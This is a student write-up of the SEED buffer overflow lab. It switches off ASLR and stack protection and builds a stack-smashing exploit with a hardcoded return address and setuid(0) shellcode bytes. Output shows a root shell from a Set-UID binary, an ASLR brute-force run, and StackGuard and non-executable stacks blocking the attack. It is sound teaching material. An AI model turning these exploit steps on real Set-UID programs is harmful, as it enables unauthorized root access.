Lab 1 Buffer Overflow

> 16307130212 管佳乐

Task 0: Preparations

```
# close address space randomization
$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
# excutable stack & close stack guard
$ gcc -o stack -z execstack -fno-stack-protector stack.c
# avoid dropping privilege from Set-UID
$ sudo rm /bin/sh
$ sudo ln -s /bin/zsh /bin/sh
```

Task 1: Running Shellcode

```
[03/18/19]seed@VM:~/.../1$ make shell
gcc -z execstack call_shellcode.c -o call_shellcode
./call_shellcode
$
```

After executing the code, `/bin/sh` has been invoked.

The reason lies in that `buf` locates in the stack, and it was cast to a function pointer. So the shellcode on the stack was executed. Therefore we could successfully run `execve()` system call.

Task 2: Exploiting the Vulnerability

Task 2.1: Calculate the return address

```
ESP: 0xbfffede0 --> 0x8
EIP: 0x80484ee (<main+20>:      sub    esp,0x8)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-----------------------------------code-----------------------------------]
   0x80484e5 <main+11>: mov    ebp,esp
   0x80484e7 <main+13>: push   ecx
   0x80484e8 <main+14>: sub    esp,0x214
=> 0x80484ee <main+20>: sub    esp,0x8
   0x80484f1 <main+23>: push   0x80485d0
   0x80484f6 <main+28>: push   0x80485d2
```

After allocating the space for `str`, the address of `str` is 0xbfffede0 and it takes 0x214=532 bytes

The real address of my shellcode start from `str + 400`

The jump address of my shellcode start from `str + 80`, and eip will finally winds up to real address

So there we get the code

```
strcpy(buffer + 400, shellcode);
```

Task 2.2: Detect where lies return address

```
0x080484d0 in bof ()
gdb-peda$ x/20w ($ebp-48)
0xbfffed98:     0x00000205      0x00000000      0xb7fe97eb      0x00000000
0xbfffeda8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffedb8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffedc8:     0x90909090      0xbfffee30      0xbfffed00      0x00000001
0xbfffedd8:     0x00000205      0x0804b008      0x00000008      0x90ff1f96
```

From the screenshot, we can tell that the string starts from `$ebp-32`.

So `buffer+32+4` is the space for return address, so we get another line

```
strcpy(buffer + 36, "\x30\xee\xff\xbf");
```

Task 2.3 Performance

```
[03/18/19]seed@VM:~/.../1$ make pre
sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
sudo rm /bin/sh
sudo ln -s /bin/zsh /bin/sh
[03/18/19]seed@VM:~/.../1$ make exploit
gcc -o exploit exploit.c
[03/18/19]seed@VM:~/.../1$ ./exploit
[03/18/19]seed@VM:~/.../1$ make stack
gcc -o stack -z execstack -fno-stack-protector stack.c
sudo chown root stack
sudo chmod 4755 stack
[03/18/19]seed@VM:~/.../1$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

There we get a privilege shell

Task 3: Defeating dash's Countermeasure

Points back to dash

```
[03/18/19]seed@VM:~/.../1$ make dash
sudo rm /bin/sh
[sudo] password for seed:
sudo ln -s /bin/dash /bin/sh
```

Compile, then change the owner and privilege

```
[03/18/19]seed@VM:~/.../1$ make dash_shell_test
gcc dash_shell_test.c -o dash_shell_test
sudo chown root dash_shell_test
sudo chmod 4755 dash_shell_test
```

Run

```
[03/18/19]seed@VM:~/.../1$ ./dash_shell_test
$ 
```

We cannot get a root shell since dash dropped the privilege

Now uncomment the code

```
setuid(0);
```

Recompile and run

```
[03/18/19]seed@VM:~/.../1$ make dash_shell_test
gcc dash_shell_test.c -o dash_shell_test
sudo chown root dash_shell_test
sudo chmod 4755 dash_shell_test
[03/18/19]seed@VM:~/.../1$ ./dash_shell_test
#
```

We succeeded by changing the real user ID of the victim process to zero before invoking the dash program.

After adding more code in our shellcode

```
/* shellcode for setuid(0); */
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x31\xdb" /* Line 2: xorl %ebx,%ebx */
"\xb0\xd5" /* Line 3: movb $0xd5,%al */
"\xcd\x80" /* Line 4: int $0x80 */
```

We did this again to exploit.c and get root privilege again

```
[03/18/19]seed@VM:~/.../1$ make dash
sudo rm /bin/sh
sudo ln -s /bin/dash /bin/sh
[03/18/19]seed@VM:~/.../1$ make exploit_dash
gcc -o exploit_dash exploit_dash.c
[03/18/19]seed@VM:~/.../1$ ./exploit_dash
[03/18/19]seed@VM:~/.../1$ make stack
gcc -o stack -z execstack -fno-stack-protector stack.c
sudo chown root stack
sudo chmod 4755 stack
[03/18/19]seed@VM:~/.../1$ ./stack
#
```

Task 4: Defeating Address Randomization

```
# start address space randomization
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
# brute force
$ ./attack.sh
```

```
./attack.sh: line 13: 22480 Segmentation fault      (core dumped) ./stack
178 minutes and 26 seconds elapsed.
The program has been running 25067 times so far.
./attack.sh: line 13: 22482 Segmentation fault      (core dumped) ./stack
178 minutes and 27 seconds elapsed.
The program has been running 25068 times so far.
./attack.sh: line 13: 22484 Segmentation fault      (core dumped) ./stack
178 minutes and 27 seconds elapsed.
The program has been running 25069 times so far.
#
```

The shell has runned for about 3 hours.

Task 5: Turn on the StackGuard Protection

```
# close address space randomization
$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
# turn on stackguard protection
$ make 5
```

```
[03/20/19]seed@VM:~/.../1$ make 5
gcc -o stack -z execstack stack.c
sudo chown root stack
sudo chmod 4755 stack
[03/20/19]seed@VM:~/.../1$ ./stack
*** stack smashing detected ***: ./stack terminated
Aborted (core dumped)
```

As the lines indicate, there is a stack smashing detected.

```
-fstack-protector
    Emit extra code to check for buffer overflows, such as stack smashing attacks.  This is done by adding a guard variable to
    functions with vulnerable objects.  This includes functions that call "alloca", and functions with buffers larger than 8
    bytes.  The guards are initialized when a function is entered and then checked when the function exits.  If a guard check
    fails, an error message is printed and the program exits.
```

I've consulted the manual of gcc. As it says, The guards are initialized when a function is entered and then checked when the function exits. Since the guard check fails when the program is was returning from `bof()`. So the lines behind it will not run and the program will be aborted.

Task 6: Turn on the Non-executable Stack Protection

```
[03/20/19]seed@VM:~/.../1$ make 6
gcc -o stack -z noexecstack -fno-stack-protector stack.c
sudo chown root stack
sudo chmod 4755 stack
[03/20/19]seed@VM:~/.../1$ ./stack
Segmentation fault (core dumped)
```

The manual of gcc

```
-z keyword
    -z is passed directly on to the linker along with the keyword keyword. See the section in the documentation of your linker for
    permitted values and their meanings.
```

The manual of ld, the linker of gcc

```
noexecstack
    Marks the object as not requiring executable stack.
```

Thus making it impossible to run shellcode on the stack